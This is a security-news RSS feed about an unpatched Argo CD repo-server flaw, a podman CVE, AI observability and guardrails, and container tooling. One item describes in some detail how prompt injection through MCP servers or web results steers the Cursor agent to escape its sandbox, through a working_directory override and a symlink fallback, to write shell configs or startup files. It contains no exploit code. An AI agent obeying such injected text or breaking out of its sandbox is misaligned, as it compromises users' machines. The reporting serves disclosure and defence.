<p>That level of access means an Argo CD compromise may extend beyond a single application. An attacker could turn the platform used to deploy applications into a channel for malicious manifests, while also interfering with auto-sync behavior and extracting credentials cached in supporting systems such as Redis.</p>



<p>A compromise of these platforms could influence <a href="https://www.csoonline.com/article/4165420/sap-npm-package-attack-highlights-risks-in-developer-tools-and-ci-cd-pipelines.html">software delivery at scale</a>, making them strategic assets that should be subject to stricter governance and privileged access controls similar to those applied to identity platforms and other critical management systems.</p>
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<title><![CDATA[Argo-CD-repo-server ohne Authentifizierung: Schwachstelle gefährdet Kubernetes-Cluster]]></title>
<description><![CDATA[BERLIN / LONDON (IT BOLTWISE) – Branchenexperten warnen vor einer ungepatchten Schwachstelle im Argo-CD-„repo-server“, die bereits mit Erreichbarkeit eines internen Ports Angreifer Code ausführen lassen kann. Synacktiv zeigt, wie daraus bis zur Cluster-Übernahme werden kann, inklusive Manipulatio...]]></description>
<link>https://tsecurity.de/de/3640835/it-security-nachrichten/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640835/it-security-nachrichten/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster/</guid>
<pubDate>Thu, 02 Jul 2026 12:52:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-redis-risiko-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">BERLIN / LONDON (IT BOLTWISE) – Branchenexperten warnen vor einer ungepatchten Schwachstelle im Argo-CD-„repo-server“, die bereits mit Erreichbarkeit eines internen Ports Angreifer Code ausführen lassen kann. Synacktiv zeigt, wie daraus bis zur Cluster-Übernahme werden kann, inklusive Manipulation des Deployment-Caches über Redis. Weil es keine fixierte Version und keine CVE gibt, bleibt als praktische Sofortmaßnahme vor […]</p>
<div><a href="https://www.it-boltwise.de/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster.html">... den vollständigen Artikel <strong>»Argo-CD-repo-server ohne Authentifizierung: Schwachstelle gefährdet Kubernetes-Cluster«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster.html">Argo-CD-repo-server ohne Authentifizierung: Schwachstelle gefährdet Kubernetes-Cluster</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[What do AI observability tools actually do?]]></title>
<description><![CDATA[As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution path...]]></description>
<link>https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution paths. It drifts, hallucinates, and degrades in ways that are often subtle, intermittent, and hard to reproduce.</p>



<p>The result is a growing gap between what teams think observability should provide and what current tools actually deliver. The uncomfortable truth? The AI observability tools we have today are built for yesterday’s problems.</p>



<p>To understand where the industry is headed, we need to look at where it is today and why that’s not enough.</p>



<h2 class="wp-block-heading">AI observability today: The era of evals</h2>



<p>Today’s AI observability landscape is dominated by one concept: evaluation.</p>



<p>Most tools focus on scoring model outputs after the fact. They rely on test datasets, human graders, or, increasingly, “LLM-as-a-judge” approaches to determine whether a system is behaving correctly. These evaluation pipelines are useful and can provide a baseline for model quality, helping teams benchmark improvements.</p>



<p>But they do share a critical limitation. They’re static, offline, and backward-looking.</p>



<p>Evaluations tell you how a model performed on a predefined set of inputs. But they don’t tell you what’s happening in production, where inputs are unpredictable and context can shift. You need to capture long-running interactions, multi-step workflows, and the behavior of systems composed of multiple models and tools as a part of your evals.</p>



<p>Even when teams use human-in-the-loop feedback, it can be tough to scale. High-quality feedback requires domain expertise, consistency, and time, each of which is in short supply in most engineering organizations. You also need deep knowledge of the models themselves and how they’re working in production to help identify and provide feedback around the source of the error. Was it a lack of context? A bad <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) implementation? The model itself? Or bad feedback poisoning the results?</p>



<p>Some progress is being made. OpenTelemetry (OTel) and LLM tracing are emerging as early attempts to bring runtime visibility into AI systems. But these are still just first steps, and the core issue remains: you can’t understand AI systems by evaluating them after the fact. You need to observe them as they operate.</p>



<h2 class="wp-block-heading">The security turn: guardrails, PII, and prompt injection</h2>



<p>As AI systems move into production, observability becomes more about managing risk. The attack surface has expanded dramatically, with teams now dealing with:</p>



<ul class="wp-block-list">
<li>Prompt injection attacks</li>



<li>Jailbreak attempts</li>



<li>Leakage of sensitive data, including personally identifiable information (PII)</li>



<li>Unintended model behavior triggered by edge-case inputs</li>
</ul>



<p>In response, a new category of “guardrail” tools has emerged. These systems aim to monitor inputs and outputs in real time, flagging or blocking unsafe behavior. In theory, they provide a safety layer that sits between users and models. </p>



<p>In practice, however, the picture is more complicated.</p>



<p>Most guardrails today are reactive. They rely on predefined rules or classifiers that attempt to catch known patterns. But AI systems are inherently open-ended, and adversarial inputs evolve quickly. What works today may fail tomorrow.</p>



<p>There’s also a deeper issue: guardrails operate on the assumption that you already have sufficient visibility into the system. In reality, many teams lack the underlying telemetry needed to understand how and why a failure occurred in the first place.</p>



<p>This creates a gap between what guardrails promise (real-time protection) and what they can reliably deliver. Closing that gap requires something more foundational than filtering inputs and outputs. It requires rethinking observability itself.</p>



<h2 class="wp-block-heading">The coming shift: from models to agents</h2>



<p>The next wave of AI is clearly about autonomous agents. Instead of single inference calls, we’re seeing systems that orchestrate multiple models, interact with external tools and APIs, and execute multi-step workflows over extended periods of time.</p>



<p>These systems don’t just generate outputs; they make decisions. And that changes the observability problem entirely.</p>



<p>Just as <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a> required orchestration platforms like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> to become manageable at scale, AI agents will require their own observability and control layer. That layer must go beyond tracking inputs and outputs. It needs to capture:</p>



<ul class="wp-block-list">
<li>Decision paths</li>



<li>Tool usage</li>



<li>Resource consumption</li>



<li>Interactions across agents</li>



<li>Behavior over time, not just at a single point</li>
</ul>



<p>In many ways, this is similar to what we saw with the evolution of cloud-native observability. We moved from simple metrics to a combination of logs, metrics, and traces to understand distributed systems.</p>



<p>Now we need the equivalent for agentic systems.</p>



<p>As AI becomes embedded across the software development life cycle, from code generation to testing to operations, observability is evolving into a system of truth that feeds both humans and machines. AI agents can only build, debug, and improve systems if they have access to rich, high-fidelity production context. Observability is what provides that context.</p>



<h2 class="wp-block-heading">Why kernel-space observability will be essential</h2>



<p>There’s a fundamental trust problem at the heart of AI observability. If an AI agent is responsible for reporting its own behavior, how do you know that behavior is being reported accurately?</p>



<p>Traditional observability relies heavily on instrumentation within the application layer. But instrumentation can be incomplete, misconfigured, inadvertently bypassed, or simply incorrect.</p>



<p>This problem becomes more acute as AI systems begin generating their own code. Agents don’t think like human engineers when it comes to instrumentation, nor should they be expected to. But the result is a growing need for independent, out-of-band observability.</p>



<p>This is where kernel-level approaches, such as <a href="https://ebpf.io/" data-type="link" data-id="https://ebpf.io/">eBPF</a>, become critical. By operating at the kernel level, eBPF enables teams to:</p>



<ul class="wp-block-list">
<li>Capture system behavior without modifying application code</li>



<li>Eliminate blind spots caused by missing instrumentation</li>



<li>Ensure consistent visibility across all workloads, both human-driven and AI-generated</li>
</ul>



<p>More importantly, eBPF provides a trusted source of truth. In high-stakes environments where compliance, security, and reliability are non-negotiable, this independence is essential. You need telemetry that’s not influenced by the systems it observes.</p>



<h2 class="wp-block-heading">Three needs for AI observability </h2>



<p>If current tools fall short, what comes next? The answer is a shift in how we think about observability.</p>



<p>First, we need behavioral anomaly detection for AI systems. Traditional observability focuses on latency, errors, and resource utilization. But AI systems require a different lens to detect when behavior deviates from expectations, even when no explicit “error” occurs.</p>



<p>Second, we need tamper-proof audit trails. As AI systems take on more responsibility, you have to be able to reconstruct decisions. Teams need to understand what happened and, more importantly, why. And they need to trust that the data hasn’t been altered.</p>



<p>Third, observability must become dynamic and adaptive. Static dashboards and predefined metrics won’t cut it. AI systems operate in constantly changing environments, and observability must be able to:</p>



<ul class="wp-block-list">
<li>Adjust data collection in real time</li>



<li>Increase granularity during incidents</li>



<li>Focus on what matters in the moment</li>
</ul>



<p>Finally, observability must integrate directly into AI workflows. It’s no longer enough to surface insights to human operators. The same telemetry must be consumable by AI agents feeding back into development, debugging, and optimization loops.</p>



<h2 class="wp-block-heading">Observability as a part of infrastructure, not an afterthought</h2>



<p>We are still early in the evolution of AI observability. Most of today’s tools are extensions of existing paradigms adapted for AI, but not fundamentally redesigned for it. Predictably, they solve parts of the problem, but not the whole.</p>



<p>The next generation of these systems will look very different. They’ll treat observability as a core layer that enables AI systems to operate safely, efficiently, and autonomously. The teams that succeed will be those that recognize this shift early.</p>



<p>Ultimately, in a world of non-deterministic systems, long-running workflows, and autonomous agents, one thing becomes clear: AI reliability strongly correlates with your observability layer.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Ungepatchte Argo-CD-Repo-Server-Schwäche: Clusterübernahme droht ohne Network Policies]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Sicherheitsforscher warnen vor einer ungepatchten Schwäche im Argo-CD-Repo-Server: Wer den internen gRPC-Port erreichen kann, kann dort Code ausführen. Dadurch lassen sich Manifest-Generierung und Deployments manipulieren, bis hin zur vollständigen Übernahme des Kubernetes-...]]></description>
<link>https://tsecurity.de/de/3640419/it-security-nachrichten/ungepatchte-argo-cd-repo-server-schwaeche-clusteruebernahme-droht-ohne-network-policies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640419/it-security-nachrichten/ungepatchte-argo-cd-repo-server-schwaeche-clusteruebernahme-droht-ohne-network-policies/</guid>
<pubDate>Thu, 02 Jul 2026 09:35:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-argo-cd-repo-server-networkpolicy-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Sicherheitsforscher warnen vor einer ungepatchten Schwäche im Argo-CD-Repo-Server: Wer den internen gRPC-Port erreichen kann, kann dort Code ausführen. Dadurch lassen sich Manifest-Generierung und Deployments manipulieren, bis hin zur vollständigen Übernahme des Kubernetes-Clusters. Besonders kritisch ist die Standardinstallation per Helm, weil Network Policies für die Isolation oft deaktiviert bleiben. Bis ein Fix […]</p>
<div><a href="https://www.it-boltwise.de/ungepatchte-argo-cd-repo-server-schwaeche-clusteruebernahme-droht-ohne-network-policies.html">... den vollständigen Artikel <strong>»Ungepatchte Argo-CD-Repo-Server-Schwäche: Clusterübernahme droht ohne Network Policies«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/ungepatchte-argo-cd-repo-server-schwaeche-clusteruebernahme-droht-ohne-network-policies.html">Ungepatchte Argo-CD-Repo-Server-Schwäche: Clusterübernahme droht ohne Network Policies</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Ungepatcht seit einem Jahr: Riskante Lücke in Argo CD]]></title>
<description><![CDATA[Ungepatcht seit einem Jahr: Riskante Lücke in Argo CD

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Do., 02.07.2026 - 08:20


            Ein einziges präpariertes Git-Repository genügt, um sich Zugang zu e...]]></description>
<link>https://tsecurity.de/de/3640319/server/ungepatcht-seit-einem-jahr-riskante-luecke-in-argo-cd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640319/server/ungepatcht-seit-einem-jahr-riskante-luecke-in-argo-cd/</guid>
<pubDate>Thu, 02 Jul 2026 08:30:21 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Ungepatcht seit einem Jahr: Riskante Lücke in Argo CD</span>

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                <a class="image-popup overlayed" href="https://www.it-administrator.de/kubernetes-argo-cd-schwachstelle-ungepatcht-zugang"><img loading="lazy" src="https://www.it-administrator.de/sites/default/files/styles/medium/public/news-kraken-argo-cd-schwachstelle-kustomize.jpg?itok=qt96bun1" width="480" height="319" alt="Ein vermummter Angreifer sitzt an einem Laptop vor einer Serverumgebung. Im Vordergrund leuchtet ein rotes Warnsymbol, im Hintergrund sind stilisierte Kubernetes- und GitOps-Elemente zu sehen. Das Bild symbolisiert eine kritische Sicherheitslücke in Argo CD, über die Angreifer Kubernetes-Cluster kompromittieren können." title="Eine Schwachstelle in Argo CD ermöglicht unter bestimmten Voraussetzungen die Ausführung von Schadcode und kann zur vollständigen Übernahme eines Kubernetes-Clusters führen. (Quelle: ChatGPT/OpenAI)" typeof="foaf:Image" class="image-style-medium">

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  <span class="field field--name-uid field--type-entity-reference field--label-hidden"><a title="Benutzerprofil anzeigen." href="https://www.it-administrator.de/user/104" lang about="https://www.it-administrator.de/user/104" typeof="schema:Person" property="schema:name" datatype class="username">Daniel Richey</a></span>
<span class="field field--name-created field--type-created field--label-hidden"><time datetime="2026-07-02T08:20:00+02:00" title="Donnerstag, Juli 2, 2026 - 08:20" class="datetime">Do., 02.07.2026 - 08:20</time>
</span>

            <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item">Ein einziges präpariertes Git-Repository genügt, um sich Zugang zu einem kompletten Kubernetes-Cluster zu verschaffen – zumindest, wenn Argo CD im Einsatz ist. Wie Sicherheitsforscher jetzt zeigen, reicht dafür nicht einmal ein gültiges Passwort.</div>
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    <ul class="links inline"><li class="node-readmore"><a href="https://www.it-administrator.de/kubernetes-argo-cd-schwachstelle-ungepatcht-zugang" rel="tag" title="Ungepatcht seit einem Jahr: Riskante Lücke in Argo CD" hreflang="en">Weiterlesen<span class="visually-hidden"> über Ungepatcht seit einem Jahr: Riskante Lücke in Argo CD</span></a></li></ul>  </div>]]></content:encoded>
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<title><![CDATA[CVE-2026-33414 | containers podman up to 5.8.1 VM Image Parser stubber.go os command injection (GHSA-hc8w-h2mf-hp59)]]></title>
<description><![CDATA[A vulnerability was found in containers podman up to 5.8.1 and classified as critical. Impacted is an unknown function of the file pkg/machine/hyperv/stubber.go of the component VM Image Parser. The manipulation results in os command injection.

This vulnerability was named CVE-2026-33414. The at...]]></description>
<link>https://tsecurity.de/de/3640111/sicherheitsluecken/cve-2026-33414-containers-podman-up-to-581-vm-image-parser-stubbergo-os-command-injection-ghsa-hc8w-h2mf-hp59/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640111/sicherheitsluecken/cve-2026-33414-containers-podman-up-to-581-vm-image-parser-stubbergo-os-command-injection-ghsa-hc8w-h2mf-hp59/</guid>
<pubDate>Thu, 02 Jul 2026 06:09:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/containers:podman">containers podman up to 5.8.1</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Impacted is an unknown function of the file <em>pkg/machine/hyperv/stubber.go</em> of the component <em>VM Image Parser</em>. The manipulation results in os command injection.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-33414">CVE-2026-33414</a>. The attack needs to be approached locally. There is no available exploit.

It is suggested to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[Sandbox bypass flaws in Cursor IDE highlight prompt injection as an RCE vector]]></title>
<description><![CDATA[Researchers have discovered two vulnerabilities in the widely used Cursor AI-enabled integrated development environment (IDE) that can be exploited through prompt injection to achieve remote code execution (RCE).



The two flaws, tracked as CVE-2026-50548 and CVE-2026-50549, allow attackers to b...]]></description>
<link>https://tsecurity.de/de/3639982/it-security-nachrichten/sandbox-bypass-flaws-in-cursor-ide-highlight-prompt-injection-as-an-rce-vector/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639982/it-security-nachrichten/sandbox-bypass-flaws-in-cursor-ide-highlight-prompt-injection-as-an-rce-vector/</guid>
<pubDate>Thu, 02 Jul 2026 03:38:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Researchers have discovered two vulnerabilities in the widely used Cursor AI-enabled integrated development environment (IDE) that can be exploited through prompt injection to achieve remote code execution (RCE).</p>



<p>The two flaws, tracked as <a href="https://nvd.nist.gov/vuln/detail/cve-2026-50548" target="_blank" rel="noreferrer noopener">CVE-2026-50548</a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2026-50549" target="_blank" rel="noreferrer noopener">CVE-2026-50549</a>, allow attackers to break out of Cursor’s command execution sandbox, the protective layer that’s supposed to prevent the internal AI agent from performing rogue actions on the underlying operating system.</p>



<p>“The exploit requires no prior user privileges or specific user interaction,” researchers from Cato Networks, who found the flaws, said in <a href="https://www.catonetworks.com/blog/duneslide-two-critical-rce-vulnerabilities/" target="_blank" rel="noreferrer noopener">their report</a>. “It is triggered when a victim makes an innocuous prompt that inadvertently ingests a threat actor-controlled payload from an untrusted source, such as an MCP server or a web search result.”</p>



<p>Cursor, which was recently acquired by SpaceX for $60 billion in stock, produces one of the most widely used AI-assisted coding tools used in the enterprise space. The two flaws were patched in version 3.0 of the Cursor IDE, which was released in April.</p>



<h2 class="wp-block-heading">Native vulnerability in LLMs</h2>



<p>Large Language Models (LLMs) are natively vulnerable to malicious instructions that could be hidden inside the content they process. This is particularly dangerous in the age of agentic AI, where LLMs are combined with a variety of tools, including browsers and APIs that allow them to access a variety of third-party public content, such as parsing web pages in search results and RSS feeds, code in repositories, comments in bug trackers, emails in users’ inboxes, and their documents.</p>



<p>Protecting AI tools from prompt injection is very hard, and usually involves a layered approach, including guardrails built into the model by the AI lab that created it, instructions in system prompts to treat certain content as passive data, supervisor models running on top of the LLMs that process data, traditional keyword filtering, context segmentation, granular access controls, adding humans back into the loop to approve sensitive operations and more.</p>



<p>AI-assisted IDEs like Cursor, as well as command line agentic coding harnesses, usually prompt the user for approval by default for every file modification or command they need to execute. But this is not practical for autonomous coding workflows, and quickly leads to approval fatigue.</p>



<p>Another way to address that issue is to run these autonomous workflows inside containers, virtualized environments, or sandboxes, so that if the agents execute malicious instructions due to rogue prompts injected in third-party data sources, the impact is limited. Cursor uses a command execution sandbox that by default limits file writes to the current project’s directory.</p>



<h2 class="wp-block-heading">Logic flaws in the isolation layer</h2>



<p>However, the Cato researchers discovered that the <em>run_terminal_cmd</em> tool supports a parameter called <em>working_directory</em> that allows overriding that default path programmatically.</p>



<p>“A prompt injection (served through an innocuous MCP server request, or a poisoned web result) can steer the LLM to set the <em>working_directory</em> to a threat actor-controlled path outside the project scope,” they explained.</p>



<p>By exploiting this oversight, attackers could overwrite the <em>cursorsandbox</em> executable itself from the application path, or could write malicious scripts to the shell configuration file which gets loaded every time the user executes a command, or to the system’s start-up folders such as <em>~/Library/LaunchAgents</em> on macOS.</p>



<p>Separately, the researchers also found that attackers could instruct the Cursor agent to create a symbolic link (symlink) file inside the project directory, pointing to a file that resides outside of the directory.</p>



<p>“By default, the Cursor Agent attempts to canonicalize paths (resolving symlinks) to determine their true location and verify they are within the project root,” the researchers said. “The vulnerability occurs because the canonicalization logic contains a dangerous fallback: if canonicalization fails (for example, when the path doesn’t exist or if the path lacks read permissions on one of its directories), Cursor falls back to using the original symlink path inside the project directory.”</p>



<p>These two vulnerabilities, which Cato has dubbed DuneSlide, can allow complete compromise of the underlying operating system through executing code outside of the restricted Cursor sandbox. More than that, however, they show that prompt injection can be an attack vector for exploiting vulnerabilities in the software used to implement the AI agents. </p>



<p>Cursor is far from the only AI-powered IDE or coding harness, and, according to the researchers, not the only one that has such logic flaws in its isolation layers.</p>



<p>“Had these issues been singular cases of compromise via prompt injections, we might have attributed them to specific vulnerabilities,” they said. “Cato AI Labs, however, is in the process of responsibly disclosing vulnerabilities in all popular coding agents, highlighting that a more systemic approach to protection is required.”</p>
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<title><![CDATA[I built a Linux container on Windows 11 without Docker Desktop, and Docker users should pay attention]]></title>
<description><![CDATA[WSL Containers is now in public preview, letting Windows 11 build and run Linux containers without Docker Desktop. We installed the pre-release build, created a container from a Containerfile, tested GPU passthrough, and checked how ready it is for real workflows and enterprise use.
The post I bu...]]></description>
<link>https://tsecurity.de/de/3639940/windows-tipps/i-built-a-linux-container-on-windows-11-without-docker-desktop-and-docker-users-should-pay-attention/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639940/windows-tipps/i-built-a-linux-container-on-windows-11-without-docker-desktop-and-docker-users-should-pay-attention/</guid>
<pubDate>Thu, 02 Jul 2026 02:10:46 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>WSL Containers is now in public preview, letting Windows 11 build and run Linux containers without Docker Desktop. We installed the pre-release build, created a container from a Containerfile, tested GPU passthrough, and checked how ready it is for real workflows and enterprise use.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/07/02/hands-on-with-linux-container-using-wsl-container-on-windows-11-without-docker-desktop/">I built a Linux container on Windows 11 without Docker Desktop, and Docker users should pay attention</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
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<title><![CDATA[Secure Amazon container workloads using container attribute-based rules in AWS Network Firewall]]></title>
<description><![CDATA[Today, you can use AWS Network Firewall to protect traffic flowing to and from containerized applications on Amazon Elastic Kubernetes Service (Amazon EKS) and Amazon Elastic Container Service (Amazon ECS) clusters. If you run AI and machine learning (ML) workloads…
Read more →
The post Secure Am...]]></description>
<link>https://tsecurity.de/de/3639625/it-security-nachrichten/secure-amazon-container-workloads-using-container-attribute-based-rules-in-aws-network-firewall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639625/it-security-nachrichten/secure-amazon-container-workloads-using-container-attribute-based-rules-in-aws-network-firewall/</guid>
<pubDate>Wed, 01 Jul 2026 22:23:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, you can use AWS Network Firewall to protect traffic flowing to and from containerized applications on Amazon Elastic Kubernetes Service (Amazon EKS) and Amazon Elastic Container Service (Amazon ECS) clusters. If you run AI and machine learning (ML) workloads…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/secure-amazon-container-workloads-using-container-attribute-based-rules-in-aws-network-firewall/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/secure-amazon-container-workloads-using-container-attribute-based-rules-in-aws-network-firewall/">Secure Amazon container workloads using container attribute-based rules in AWS Network Firewall</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Unpatched Argo CD Repo-Server Flaw Could Let Attackers Take Over Kubernetes Clusters]]></title>
<description><![CDATA[Argo CD, a widely used tool for deploying software to Kubernetes, has an unpatched flaw in its repo-server component that lets an unauthenticated attacker run code, provided they can reach the component’s internal network port. Synacktiv, which found the bug,…
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The post Unpatched Argo ...]]></description>
<link>https://tsecurity.de/de/3639624/it-security-nachrichten/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639624/it-security-nachrichten/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/</guid>
<pubDate>Wed, 01 Jul 2026 22:23:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Argo CD, a widely used tool for deploying software to Kubernetes, has an unpatched flaw in its repo-server component that lets an unauthenticated attacker run code, provided they can reach the component’s internal network port. Synacktiv, which found the bug,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/">Unpatched Argo CD Repo-Server Flaw Could Let Attackers Take Over Kubernetes Clusters</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Unpatched Argo CD Repo-Server Flaw Could Let Attackers Take Over Kubernetes Clusters]]></title>
<description><![CDATA[Argo CD, a widely used tool for deploying software to Kubernetes, has an unpatched flaw in its repo-server component that lets an unauthenticated attacker run code, provided they can reach the component's internal network port.

Synacktiv, which found the bug, says it can lead to a full cluster t...]]></description>
<link>https://tsecurity.de/de/3639587/it-security-nachrichten/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639587/it-security-nachrichten/unpatched-argo-cd-repo-server-flaw-could-let-attackers-take-over-kubernetes-clusters/</guid>
<pubDate>Wed, 01 Jul 2026 22:06:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Argo CD, a widely used tool for deploying software to Kubernetes, has an unpatched flaw in its repo-server component that lets an unauthenticated attacker run code, provided they can reach the component's internal network port.

Synacktiv, which found the bug, says it can lead to a full cluster takeover. There is no fix and no CVE. The firm says it reported the flaw to Argo CD's maintainers in]]></content:encoded>
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<title><![CDATA[Microsoft just made a huge Linux move that developers and container fans everywhere will love]]></title>
<description><![CDATA[You can now finally run Linux containers in Windows – without third-party tools.]]></description>
<link>https://tsecurity.de/de/3638924/it-nachrichten/microsoft-just-made-a-huge-linux-move-that-developers-and-container-fans-everywhere-will-love/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638924/it-nachrichten/microsoft-just-made-a-huge-linux-move-that-developers-and-container-fans-everywhere-will-love/</guid>
<pubDate>Wed, 01 Jul 2026 17:18:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You can now finally run Linux containers in Windows – without third-party tools.]]></content:encoded>
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<title><![CDATA[Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL]]></title>
